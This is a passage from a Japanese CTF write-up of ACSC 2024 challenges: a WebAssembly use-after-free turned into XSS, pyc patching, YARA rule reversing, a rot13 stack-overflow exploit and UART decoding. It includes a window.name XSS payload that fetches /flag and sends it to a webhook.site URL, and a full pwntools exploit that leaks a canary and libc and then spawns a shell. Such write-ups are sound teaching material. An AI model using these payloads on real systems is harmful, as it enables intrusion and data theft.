のようなメモを作成しても斜線では表示されない。なお、メモの情報はwasm側に保存されているようで、適当なタイミングで populateNoteHTML
によってwasm側から読み出している。renderNotes
では、notesToHTML
で全メモの内容をHTMLに展開し結合したものが innerHTML
に代入されている。
const api = {}; const addNoteForm = document.getElementById('add-note'); const myNotesDiv = document.getElementById('notes'); const shareUrl = document.getElementById('share-url'); const saved = []; const notes = []; const notesToHTML = (notes) => { return notes.map((note, idx) => ` <div data-note-id="${idx}"> ${note} <button class="contrast outline" data-idx="${idx}">Delete</button> </div> `).join(''); } const addNote = (title, content, isBatched = false) => { saved.push({ 'action': 'add', 'title': title, 'content': content }) shareUrl.href = `${window.location.origin}?s=${btoa(JSON.stringify(saved))}`; const noteId = api.addNote( title, content ); if (noteId < 0) { Swal.fire({ icon: "error", title: "Oops...", text: "Note was too long!", }); return; } if (!isBatched) { api.populateNoteHTML(api.populateNoteHTMLCallback); renderNotes(); } } const renderNotes = () => { const html = notes.length > 0 ? notesToHTML(notes) : '<p>No notes yet</p>'; myNotesDiv.innerHTML = html; const deleteButtons = document.querySelectorAll('[data-idx]'); deleteButtons.forEach((button) => { button.addEventListener('click', (e) => { const noteId = e.target.dataset.idx; api.deleteNote(noteId, api.deleteNoteCallback) }); }); } const populateNoteHTML = (noteHTML, idx) => { notes[idx] = UTF8ToString(noteHTML); } const deleteNote = (noteId, isBatched = false) => { saved.push({ 'action': 'delete', 'noteId': noteId }) shareUrl.href = `${window.location.origin}?s=${btoa(JSON.stringify(saved))}`; if (!isBatched) { notes.splice(noteId, 1); renderNotes(); } } const main = () => { addNoteForm.addEventListener('submit', (e) => { e.preventDefault(); const title = document.getElementById('title').value; const content = document.getElementById('content').value; addNote(title, content) addNoteForm.reset(); }) serialized = new URLSearchParams(window.location.search).get('s'); if (serialized) { todo = JSON.parse(atob(serialized)); todo.forEach((step) => { if (step.action == 'add') { addNote( step.title, step.content, true ); } else if (step.action == 'delete') { api.deleteNote( step.noteId, api.deleteNoteCallback, true ); } }); api.populateNoteHTML(api.populateNoteHTMLCallback); renderNotes(); } } Module.onRuntimeInitialized = async (_) => { api.populateNoteHTMLCallback = Module.addFunction(populateNoteHTML,'iii'); api.deleteNoteCallback = Module.addFunction(deleteNote,'vi'); api.addNote = Module.cwrap('addNote', 'number', ['string', 'string']); api.deleteNote = Module.cwrap('deleteNote', 'number', ['number', 'number']); api.populateNoteHTML = Module.cwrap('populateNoteHTML', null, ['number']); main(); };
module.wasm
を読んでいきたいけれども、親切なことにその元のソースコードである module.c
が配布されている。色々と面白い実装になっていて、たとえばメモは片方向の連結リストになっていたり、メモは note
という構造体が使われているけれども、これが持つ toHTML
というフィールドが関数ポインタで、タイトルと内容を sanitize
によってエスケープしてくれる toSafeHTML
という関数を指していたりする。
特に後者が怪しく、なんらかの脆弱性によって toHTML
を toSafeHTML
以外の適切な関数へ向けさせることで、エスケープさせずにメモの内容をJS側に返させることができるのではないか。
// emcc -s WASM=1 -s EXPORTED_RUNTIME_METHODS='["cwrap", "addFunction"]' -s ALLOW_TABLE_GROWTH module.c --no-entry -o module.js #include <emscripten.h> #include <stdio.h> #include <string.h> #include <stdlib.h> typedef struct note { char *(*toHTML) (char *title, char *content); struct note *next; char *title; char *content; } note; note *head = NULL; char *sanitize(char *str) { char *safe = malloc(strlen(str) * 6); safe[0] = '\0'; while (*str) { switch (*str) { case '<': strcat(safe, "<"); break; case '>': strcat(safe, ">"); break; case '&': strcat(safe, "&"); break; case '"': strcat(safe, """); break; case '\'': strcat(safe, "'"); break; default: strncat(safe, str, 1); break; } str++; } return safe; } char *toSafeHTML(char *title, char *content) { int length = strlen(title) + strlen(content) + 100; char *safeHTML = malloc(length); safeHTML[0] = '\0'; char *safeTitle = sanitize(title); char *safeContent = sanitize(content); snprintf(safeHTML, length, "<article><h1>%s</h1><p>%s</p></article>", safeTitle, safeContent); return safeHTML; } EMSCRIPTEN_KEEPALIVE int addNote(char *title, char *content) { if (strlen (title) > 65 || strlen (content) > 100) { return -1; } char *noteTitle = malloc(strlen(title) + 1); char *noteContent = malloc(strlen(content) + 1); strcpy(noteTitle, title); strcpy(noteContent, content); struct note *n = malloc(sizeof(struct note)); n->title = noteTitle; n->content = noteContent; n->toHTML = toSafeHTML; n->next = NULL; if (head == NULL) { head = n; return 0; } int i = 0; note *current = head; while (current->next != NULL) { current = current->next; i++; } current->next = n; return i + 1; } EMSCRIPTEN_KEEPALIVE void populateNoteHTML(int *(*callback)(char *, int)) { int i = 0; note *current = head; while (current != NULL) { callback(current->toHTML(current->title, current->content), i); current = current->next; i++; } } EMSCRIPTEN_KEEPALIVE int deleteNote(int idx, void (*callback)(int)) { note *current = head; note *prev = head; int i = 0; while (current != NULL) { if (i == idx) { prev->next = current->next; free(current); callback(idx); return 0; } prev = current; current = current->next; i++; } return -1; }
適当に試していると、次のようにIDが0であるメモを削除しようとすると "memory access out of bounds" というエラーが発生することに気づいた。
[ {"action":"add","title":"a","content":"b"}, {"action":"delete","noteId":0}, ]
なるほど、deleteNote
ではIDが0のメモが削除される場合を考慮されていないらしい。そのメモの free
はされるけれども、片方向の連結リストの先頭を意味する head
が、削除されたはずのメモを指したままになっているらしい。Use-After-Free(UAF)だ。
EMSCRIPTEN_KEEPALIVE int deleteNote(int idx, void (*callback)(int)) { note *current = head; note *prev = head; int i = 0; while (current != NULL) { if (i == idx) { prev->next = current->next; free(current); callback(idx); return 0; } prev = current; current = current->next; i++; } return -1; }
このUAFを利用できないか。たとえば、toHTML
にデフォルトでは toSafeHTML
が入っているわけだけれども、これを別の関数に変えられないか。wasmでは関数ポインタはアドレスの代わりに table
の添字を持つようコンパイルされがちで、今回もそうだ。Mapna CTF 2024でもwasm pwnが出て色々書いたので、細かいwasmの話はそちらも参照いただくとして、今回はテーブルにどんな関数があるだろうか。
ChromeのDevTools付属のデバッガで確認していく。適当な場所にブレークポイントを置いて、テーブルを確認すると、次のような要素が確認できた。後ろの2つはJS側から追加された populateNoteHTML
と deleteNote
だ。wasmでは call_indirect
命令を使ってこれらの関数が呼び出されるわけだけれども、引数や返り値の型が toSafeHTML
と一致しているものしか使えない。ほかに char * (*func)(char *, char *)
というような関数はないか。ひとつひとつ見ていくと、populateNoteHTML
がそれだった。
populateNoteHTML
は、引数として渡されたノートのHTMLを指すアドレスについて、JS側のノートを管理するオブジェクトにその内容をwasm側から持ってきて保存する関数だ。もし toHTML
がこれを指すよう変更できれば、エスケープをすっ飛ばしてノートのHTMLを書き込める(つまり、HTML Injectionへ持ち込める)ということになる。
const populateNoteHTML = (noteHTML, idx) => { notes[idx] = UTF8ToString(noteHTML); }
先程のUAFを使いつつ toHTML
を 5
、つまり先程のテーブルにおける populateNoteHTML
の添字を指すようにできないかと色々試していた。すると、次のJSONのときに無事HTML Injectionへ持ち込めた。
[ {"action":"add","title":"<s>test</s>","content":"a"}, {"action":"delete","noteId":0}, {"action":"add","title":"\5","content":"a"}, ]
ただ、まだ問題がある。module.c
の addNote
を見るとわかるようにタイトルは65文字以下でなければならず、これとCSPとの合わせ技のために厳しいXSSゴルフをしなければならない。'unsafe-inline'
がCSPの script-src
ディレクティブで指定されておらず、代わりに 'self'
と 'unsafe-eval'
がいるので、JSコードを実行するには script
要素で同じオリジンからJSファイルを読み込んでこなければならない。
innerHTML
が使われているから、単に <script src=…></script>
を使うだけでは発火しない。iframe
の srcdoc
属性を使って、<iframe srcdoc="<script src=…></script>">
のようにする必要がある。では、ここでどのJSファイルを読み込ませればよいか。
パスに対応する適切なハンドラが存在しない場合に、次のようなコンテンツが返ってくることを思い出した。Not Foundを返すべきところなぜかOKを返している。また、たとえば /hoge/poyo;
のようなパスであれば、そのまま /hoge/poyo; not found
が返ってくるというように、パスがその内容に反映されている。
r.NoRoute(func(c *gin.Context) { c.String(http.StatusOK, fmt.Sprintf("%s not found", c.Request.URL)) })
/a/;alert(123)//
のようなパスであれば /a/;alert(123)// not found
が返ってくるが、これはJSコードとして合法だ。メモのタイトルに <iframe srcdoc="<script src=/a/;alert(123)//></script>">
をつっこんでやると、alert
が表示された。
やっとXSSに持ち込めたが、まだ問題がある。これだけの文字数で /flag
を fetch
させてその内容を外に流すというような処理をさせるのは無理がある。なんとかできないかと考えていると、window.name
を使ったXSSゴルフテクを思い出した。'unsafe-eval'
があるので eval(name)
を実行させればよい。
まず、次のようなHTMLを用意し、適当なところでホストする。
<script> window.name = `fetch('/flag').then(r=>r.text()).then(r=>{location.href=['https://webhook.site/…?',r]})`; location = 'http://chall:5000/?s=W3siYWN0aW9uIjoiYWRkIiwidGl0bGUiOiI8aWZyYW1lIHNyY2RvYz1cIjxzY3JpcHQgc3JjPS9hLztldmFsKHRvcC5uYW1lKS8vPjwvc2NyaXB0PlwiPiIsImNvbnRlbnQiOiJiYiJ9LHsiYWN0aW9uIjoiZGVsZXRlIiwibm90ZUlkIjowfSx7ImFjdGlvbiI6ImFkZCIsInRpdGxlIjoiXHUwMDA1XHUwMDAwXHUwMDAwXHUwMDAwXHUwMDAwXHUwMDAwXHUwMDAwXHUwMDAwXHUwMDAwXHUwMDAwXHUwMDAwXHUwMDAwXHUwMDAwXHUwMDAwXHUwMDAwIiwiY29udGVudCI6Ik1NTU1OTk5OT09PT1BQUCJ9XQ=='; </script>
そのURLを通報するとフラグが得られた。
ACSC{j01n_th3_cult_0f_w3b4ss3mbly}
[Rev 100] compyled (50 solves)
It's just a compiled Python. It won't hurt me...
authored by splitline
添付ファイル: dist-compyled-cd28f1dad3613ce9587e7d963cd82bff95c8156b.tar.gz
run.pyc
というファイルが添付されている。decompyle3やuncompyle6ではデコンパイルできない。実行すると、次のようにフラグを聞かれる。
$ python3 run.pyc FLAG> hoge FLAG>
色々ツールを探して試していると、Decompyle++であれば、デコンパイルはできないものの逆アセンブルはできた。めちゃくちゃ長く、人間が読むのは難しそうだ。ただ、最後に COMPARE_OP
が実行されていることから、ユーザ入力と、これらの操作によって作り出した文字列か何かとが比較されているとわかる。そもそもユーザ入力がこれらの操作で変換されている可能性もあるけれども、いずれにしても COMPARE_OP
で比較されている2つを出力できないか。
… [Disassembly] 0 LOAD_NAME 1: input 2 LOAD_CONST 0: 'FLAG> ' 4 CALL_FUNCTION 1 6 LOAD_CONST 12 <INVALID> 8 LOAD_CONST 20 <INVALID> 10 BUILD_TUPLE 0 12 MATCH_SEQUENCE 14 ROT_TWO 16 POP_TOP 18 DUP_TOP 20 BINARY_ADD 22 DUP_TOP 24 BINARY_ADD 26 DUP_TOP 28 BINARY_ADD 30 DUP_TOP 32 BINARY_ADD 34 DUP_TOP 36 BINARY_ADD 38 DUP_TOP … 2438 UNARY_NEGATIVE 2440 BUILD_SLICE 2 2442 BINARY_SUBSCR 2444 COMPARE_OP 2 (==) 2446 POP_JUMP_IF_FALSE 0 (to 0) 2448 LOAD_NAME 1: input 2450 LOAD_CONST 1: 'CORRECT' 2452 CALL_FUNCTION 1 2454 RETURN_VALUE …
pycを編集してしまって、最後の COMPARE_OP
等を print
の呼び出し処理に置き換えてしまえばよいのではないかと考えた。オペコードの一覧ともにらめっこしつつ、次のようにまず print
をスタックに乗せ、最後に COMPARE_OP
で比較されていた2つの引数を出力させるように変更した。
… 0 LOAD_NAME 0: print … 2440 UNARY_NEGATIVE 2442 BUILD_SLICE 2 2444 BINARY_SUBSCR 2446 NOP 2448 CALL_FUNCTION 2 2450 NOP 2452 NOP 2454 NOP …
実行すると、フラグが得られた。なるほど、そのままユーザ入力とフラグが比較されていたらしい。
$ python3 run_.pyc FLAG> hoge hoge ACSC{d1d_u_notice_the_oob_L04D_C0N5T?} XXX lineno: -1, opcode: 0 Traceback (most recent call last): File "<sandbox>", line -1, in <eval> SystemError: unknown opcode
ACSC{d1d_u_notice_the_oob_L04D_C0N5T?}
[Rev 250] YaraReTa (10 solves)
Yara... Re... Ta...
authored by n4nu
添付ファイル: dist-yarareta-110f794800a3d4adf09c9549410fcb19631fbfd7.tar.gz
いい問題文。次のようなファイルが与えられている。いくつもバイナリがあって若干わかりづらいけれども、check.sh
を起点にするとわかりやすい。yara
, libyara.so.10
はそれぞれYARAの実行ファイルとライブラリで、yarareta
はそれで読み込めるコンパイル済みのYARAルールだ。
$ file * PrintFlag: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d17e79be43c7a6fbea4f5a69a4d7be9cce1476e8, for GNU/Linux 3.2.0, not stripped check.sh: POSIX shell script, ASCII text executable libyara.so.10: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=33c7d3d3204309302fe637aece8446ef19d04ffb, not stripped yara: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ba588e1de98732aed2b4eb82bcff950c07ed4c5f, for GNU/Linux 3.2.0, not stripped yarareta: YARA 3.x compiled rule set development version 00 $ cat check.sh #!/bin/sh LD_PRELOAD=./libyara.so.10 ./yara -C ./yarareta ./PrintFlag
PrintFlag
というのはフラグを出力してくれるバイナリだけれども、check.sh
が言うようにこのバイナリに含まれるキーは誤っているので、ちゃんとしたフラグを出力してくれない。先程のYARAルールにマッチするように PrintFlag
を修正する必要があるらしい。
$ ./check.sh InvalidKey ./PrintFlag $ ./PrintFlag | xxd 00000000: 666c 6167 3a20 36e2 0807 443a d896 8ac1 flag: 6...D:.... 00000010: cc39 620a d60b 47e6 c2e5 fdf1 f9cd fe2d .9b...G........- 00000020: 2341 526c efb1 bd2a f62c 1d8d 8c9a b5d5 #ARl...*.,...... 00000030: 96cd 8bb5 2e0b c4f7 4d35 8536 34d8 265e ........M5.64.&^ 00000040: 873f e5f5 08d7 0a .?.....
まずコンパイル済みのYARAルールをデコンパイル、あるいは逆アセンブルできるようなツールを探したものの、どれもこの yarareta
には適用できなかった。仕方がないので、YARA本体のコードをいじって何かできないか探っていく。そのためにもYARAのバージョンを確認したいが、これは --version
オプションを付与するだけでよかった。ほか、check.sh
で実行されるコマンドに色々オプションを付与しつつ実行してみたものの、大した情報は得られなかった。
ちなみに、key_offset
として指定されている8208(0x2010)について、PrintFlag
でそのオフセットを見てみると CanYouFindTheKey
という文字列が格納されていた。これを書き換えればよいらしい。
$ LD_PRELOAD=./libyara.so.10 ./yara --version 4.5.0 $ LD_PRELOAD=./libyara.so.10 ./yara -C yarareta -D -m -e -s PrintFlag acsc key_offset = 8208 console magic default:InvalidKey [] PrintFlag
YARAのコードを眺めていると、YR_DEBUG_VERBOSITY
に0より大きな数値が入っている状況でコンパイルすると、色々デバッグメッセージが表示されることがわかった。やってみると、色々情報が増えた。ただ、どうやら yarareta
から読み込まれようとしているモジュールが存在しないということで、途中で落ちている。
$ yara-4.5.0/yara -C yarareta PrintFlag 0.000000 088076 + yr_initialize() { 0.004476 088076 - hash__initialize() {} 0.004495 088076 } // yr_initialize() 0.006527 088076 - yr_scanner_create() {} 0.007283 088076 + yr_scanner_scan_mem(buffer=0x7facf697c000 buffer_size=16456) { 0.007299 088076 + yr_scanner_scan_mem_blocks() { 0.007306 088076 - _yr_get_first_block() {} = 0x7ffc1e575d60 // default iterator; single memory block, blocking 0.007906 088076 + _yr_scanner_scan_mem_block(block_data=0x7facf697c000 block->base=0x0 block->size=16456) { 0.007942 088076 } = 0 AKA ERROR_SUCCESS 0 // _yr_scanner_scan_mem_block() 0.007952 088076 - _yr_get_next_block() {} = (nil) // default iterator; single memory block, blocking 0.007954 088076 - _yr_get_file_size() {} = 16456 // default iterator; single memory block, blocking 0.008614 088076 + yr_execute_code() { 0.008635 088076 - case OP_IMPORT: // yr_execute_code() 0.008657 088076 } = 34 AKA ERROR_UNKNOWN_MODULE // yr_execute_code() 0.008669 088076 - _yr_scanner_clean_matches() {} 0.008673 088076 } = 34 AKA ERROR_UNKNOWN_MODULE // yr_scanner_scan_mem_blocks() 0.008683 088076 } = 34 AKA ERROR_UNKNOWN_MODULE // yr_scanner_scan_mem() error scanning PrintFlag: error: 34 0.008869 088076 - yr_scanner_destroy() {} 0.008874 088076 + yr_finalize() { 0.008885 088076 - hash__finalize() {} 0.008887 088076 } // yr_finalize()
ERROR_UNKNOWN_MODULE
という定数を手がかりとして、モジュールを探している箇所を見つける。ここで module_name
を出力させるようにして、どんなモジュールが探されているか見てみる。すると、[module] acsc
と出力された。acsc
というモジュールが足りないらしい。
添付されていた libyara.so.10
を見てみると、acsc__declarations
や acsc__unload
のようなこのモジュールを実装している関数が見つかる。
$ strings -n 8 libyara.so.10 | grep acsc__ acsc__declarations acsc__finalize acsc__unload acsc__initialize acsc__load
YARAのドキュメントにはモジュールの書き方が紹介されているページもあるので、これを参考にIDA Freewareで読んでみる。大体次のような雰囲気で、どうやら check
という関数が定義されているということが重要そうだ。これは正規表現を引数として受け取り、先程の鍵がマッチするかどうかをチェックしている。
#include <yara/modules.h> #define MODULE_NAME acsc define_function(check) { YR_OBJECT* module = yr_module(); YR_SCAN_CONTEXT* context = yr_scan_context(); int64_t key_offset = 0; key_offset = yr_get_integer(module, "key_offset"); RE* regex = regexp_argument(1); if (yr_re_match(yr_scan_context(), regex, "ここになんか入る") == -1) { return_integer(0); } return_integer(1); } begin_declarations; declare_integer("key_offset"); declare_function("check","r","i",check) end_declarations; int module_initialize( YR_MODULE* module) { return ERROR_SUCCESS; } int module_finalize( YR_MODULE* module) { return ERROR_SUCCESS; } int module_load( YR_SCAN_CONTEXT* context, YR_OBJECT* module_object, void* module_data, size_t module_data_size) { yr_set_integer(0x2010, module_object, "key_offset"); return ERROR_SUCCESS; } int module_unload( YR_OBJECT* module_object) { return ERROR_SUCCESS; } #undef MODULE_NAME
では、この check
がどのように呼び出されているか、またどのような正規表現が与えられるかを知りたい。まず、先程のモジュールの書き方が紹介されているページを参考に libyara/modules/acsc/acsc.c
というファイルを作成したり、module_list
を編集したりしてモジュールを作成する。
これで自分でビルドしたYARAでも yarareta
のルールを使えるかと思ったが、今度は magic
というモジュールが足りないと怒られた。こちらのモジュールは独自のものではなく、そのコード自体は含まれているので、ただ有効化するだけでよい。
これでやっと実行ができた。先程色々とデバッグメッセージを出力するようにしておいたおかげで、どんなオペコードが実行されているかがわかりやすい。あまり複雑なことはやっていないようで、ひたすら check
を呼んでいるだけに見える。
… 0.008695 036962 + yr_execute_code() { 0.008716 036962 - case OP_IMPORT: // yr_execute_code() 0.008738 036962 - case OP_IMPORT: // yr_execute_code() 0.008754 036962 - case OP_IMPORT: // yr_execute_code() 0.008765 036962 - case OP_INIT_RULE: // yr_execute_code() 0.008774 036962 - case OP_OBJ_LOAD: // yr_execute_code() 0.008777 036962 - case OP_OBJ_FIELD: // yr_execute_code() 0.008800 036962 - case OP_CALL: // yr_execute_code() 0.008846 036962 - _yr_get_first_block() {} = 0x7fffe9bcbbe0 // default iterator; single memory block, blocking 0.008978 036962 - case OP_OBJ_VALUE: // yr_execute_code() 0.008991 036962 - case OP_PUSH: // yr_execute_code() 0.008992 036962 - case OP_CONTAINS: // yr_execute_code() 0.008995 036962 - case OP_JFALSE: // yr_execute_code() 0.009004 036962 - case OP_OBJ_LOAD: // yr_execute_code() 0.009007 036962 - case OP_OBJ_FIELD: // yr_execute_code() 0.009008 036962 - case OP_PUSH: // yr_execute_code() 0.009017 036962 - case OP_CALL: // yr_execute_code() 0.009459 036962 - case OP_OBJ_VALUE: // yr_execute_code() 0.009469 036962 - case OP_AND: // yr_execute_code() 0.009470 036962 - case OP_JFALSE: // yr_execute_code() …
check
の引数を見ていく。yr_re_match
からは yr_re_exec
という関数が呼び出されているけれども、この周辺を見るとわかるように、どうやらYARAは自分で正規表現エンジンを実装しているらしい。また、正規表現はバイナリ表現に変換されており、なんとかして自力で元の表現を復元する必要がある。面倒くさいなあ。
この関数中のswitch文の直前に printf("[*ip] %x\n", *ip)
のような文を挿入して、実行されたオペコードを出力するようにする。これをコンパイルして実行すると、どうやら RE_OPCODE_MATCH_AT_START
(0xb1)と RE_OPCODE_CLASS
(0xa5)のみが使われているようだとわかった。非常にシンプルな構造だ。
後者は文字クラスを意味するわけだけれども、YARAでは文字クラスは RE_CLASS
という構造体で表現されている。32バイトの bitmap
というフィールドを持っていることから察してしまうが、CHAR_IN_CLASS
というマクロからもわかるように、1ビットが1文字と対応しつつ、その文字クラスにその文字が含まれていればビットが立つという形で、このフィールドに圧縮して格納されている。
ここまでくれば、バイナリ表現から元の正規表現を復元することは容易だ。ついでに、check
に投げられるすべての正規表現にマッチするような16バイトのバイト列を特定する。
import binascii s = open('distfiles-yarareta/yarareta', 'rb').read() i = s.find(b'\0\0\0\xb1') groups = [] while i != -1: if i == 23904: break j = s.find(b'\xa5', i) group = [] for _ in range(16): group.append(s[j+2:j+2+32]) # bitmapを集める j = s.find(b'\xa5', j + 1) groups.append(group) i = s.find(b'\0\0\0\xb1', i + 4) def class_to_set(klass): res = [] for c in range(0x100): if not klass[c // 8] & (1 << (c % 8)): res.append(c) return set(res) key = [set(range(0x100)) for _ in range(16)] for group in groups: for i, (c, klass) in enumerate(zip(key, group)): key[i] = class_to_set(klass) & c s = open('PrintFlag', 'rb').read() print('[key]', bytes(list(x)[0] for x in key)) with open('go', 'wb') as f: f.write(s[:0x2010]) f.write(bytes(list(x)[0] for x in key)) f.write(s[0x2020:])
これで PrintFlag
に含まれるべき適切な鍵が特定できたし、PrintFlag
の0x2010以降の鍵をそれに置き換えて実行することでフラグが得られた。
$ python3 s.py [key] b'\x98\xff\xf9\xd4\x8c\x07\x86%\x05\x1b\xf1$\xd8\xb8\x91L' $ ./go flag: ACSC{YaraHasTwoVirtualMachines_92b2c97ac28dd9fcbdf26ae7a7c906fe}
ACSC{YaraHasTwoVirtualMachines_92b2c97ac28dd9fcbdf26ae7a7c906fe}
[Pwn 100] rot13 (86 solves)
This is the fastest implementation of ROT13!
nc rot13.chal.2024.ctf.acsc.asia 9999
dist-rot13-82c56f36a1baef1488b632d6c9fb7cd7aead77d0.tar.gz
バイナリやらなんやらが与えられている。バイナリの元のCコードは次の通り。自明なバッファオーバーフローがあるけれども、残念ながらStack Smashing Protectorが有効化されているので、まずはcanaryを入手しなければならない。rot13
を活かして、ちょうどcanaryとくっつく程度の文字数を入力すれば、ユーザ入力とcanaryをあわせて出力してくれるのではないかと考えたが、 scanf
くんは優しいことにNULL文字を追加してくれるのでそうはいかない。
#include <stdio.h> #include <string.h> #define ROT13_TABLE \ "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f" \ "\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f" \ "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f" \ "\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f" \ "\x40\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x41\x42" \ "\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x5b\x5c\x5d\x5e\x5f" \ "\x60\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x61\x62" \ "\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x7b\x7c\x7d\x7e\x7f" \ "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f" \ "\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f" \ "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf" \ "\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf" \ "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf" \ "\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf" \ "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef" \ "\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" void rot13(const char *table, char *buf) { printf("Result: "); for (size_t i = 0; i < strlen(buf); i++) putchar(table[buf[i]]); putchar('\n'); } int main() { const char table[0x100] = ROT13_TABLE; char buf[0x100]; setbuf(stdin, NULL); setbuf(stdout, NULL); while (1) { printf("Text: "); memset(buf, 0, sizeof(buf)); if (scanf("%[^\n]%*c", buf) != 1) return 0; rot13(table, buf); } return 0; }
ではどうするか。よく見ると rot13
の第2引数である buf
は char *
であって unsigned char *
でない。これの何が問題かというと、buf
の各文字は putchar(table[buf[i]])
のようにROT13の変換テーブルへのアクセスに使われているわけだけれども、ここで添字を負数にできてしまう。つまり、メモリ上で table
より前にある部分を読み取れてしまう。これを使って、canaryやlibcのアドレスを特定していく。
この問題では /flag-(予測不能なhex).txt
にフラグが存在しているので、シェルを得る必要がある。また、system("/bin/sh")
を実行してくれるような優しい関数はこのバイナリには存在していないので、自力でシェルを得る必要がある。残念ながら pop rdi; ret
のようなgadgetは死滅してしまっているので、One-gadget RCEを狙っていく。完成品のexploitは次の通り。
from pwn import * context.log_level = 'error' elf = ELF('distfiles-rot13/rot13') s = remote('rot13.chal.2024.ctf.acsc.asia', 9999) #s = process('distfiles-rot13/rot13') def gen(x): return bytes(range(x, x+8)) # まずcanaryとmainのアドレスを取ってくる s.recvuntil(b'Text: ') s.send(gen(0xe8) + b'\n') s.recvuntil(b'Result: ') r = s.recvuntil(b'Text: ') canary = r[:8] print(canary) ## 続いてputcharのアドレスを取る s.send(b'abcdefgh' + b'\n') s.recvuntil(b'Result: ') s.recvuntil(b'Text: ') s.send(gen(0x88) + b'\n') s.recvuntil(b'Result: ') r = s.recvuntil(b'Text: ') p = u64(r[:8]) libc_base = p - 0x82980 - 119 print(hex(p), hex(libc_base)) # OK, BOFしていく s.send(b'A' * 0x100 + b'B' * 8 + canary + b'\0' * 8 + p64(libc_base + 0x50a47) + b'\n') s.send(b'\n') s.interactive() s.close()
実行する。シェルが得られ、フラグも得られた。
$ python3 t.py b'\x00\x14\xf4\xf7\x8bX\x8e\x9b' 0x7bcb3de2d9f7 0x7bcb3ddab000 Result: NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNOOOOOOOO Text: $ ls bin boot dev etc flag-9dc7aedeeb0b998e04e8c305115af8c2.txt home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var $ cat f* ACSC{aRr4y_1nd3X_sh0uLd_b3_uNs1Gn3d}
ACSC{aRr4y_1nd3X_sh0uLd_b3_uNs1Gn3d}
[Hardware 50] An4lyz3_1t (140 solves)
Our surveillance team has managed to tap into a secret serial communication and capture a digital signal using a Saleae logic analyzer. Your objective is to decode the signal and uncover the hidden message.
authored by Chainfire73
dist-an4lyz3-1t-6a4bd1d579977d0a56333810ceafd835d780ac0c.tar.gz
chall.sal
というファイルが与えられている。Logic 2というソフトウェアを使ってファイルを見てみる。なるほどという感じだ。タイムスタンプ付きのCSVも出力しておく。
UARTだろうと思いつつ、防衛省サイバーコンテスト2024でやったように雑にデコードする。12bitでひとかたまりであること、データはLSBから送信されていることに注意。
const fs = require('fs') s = fs.readFileSync('digital.csv').toString(); s = s.split(/[\r\n]+/).slice(1).map(x => { return +x.split('.')[1]?.split('+')[0]?.slice(2); // タイムスタンプを扱いやすくする }); s = s.map((x, i) => { return Math.round(((x - s[i - 1]) || 0) / 17000); // 何回0, 1が連続しているか }); let res = ''; let now = 1; for (const x of s) { res += (now + '').repeat(x); now = now == 1 ? 0 : 1; } console.log(String.fromCharCode(...res.slice(1).match(/.{12}/g).map(x => parseInt(x.slice(0, 7).split('').reverse().join(''), 2))));
フラグが得られた。
$ node s.js ACSC{b4by4n4lyz3r_548e8c80e}
ACSC{b4by4n4lyz3r_548e8c80e}
[Hardware 150] Vault (68 solves)
Can you perform side-channel attack to this vault? The PIN is a 10-digit number.
- Python3 is installed on remote. nc vault.chal.2024.ctf.acsc.asia 9999
authored by v3ct0r, Chainfire73
添付ファイル: dist-vault-bc8867dde0e36ae6cbd0e4c82707e2b78e4e5233.tar.gz
次のようなx86_64のELFが与えられる。PINコードを入力し、それが正しければフラグが与えられるというものだ。フラグやPINはバイナリに埋め込まれており、IDA等で適当に解析してやると 1234567890
がこのバイナリのPINだとわかる。
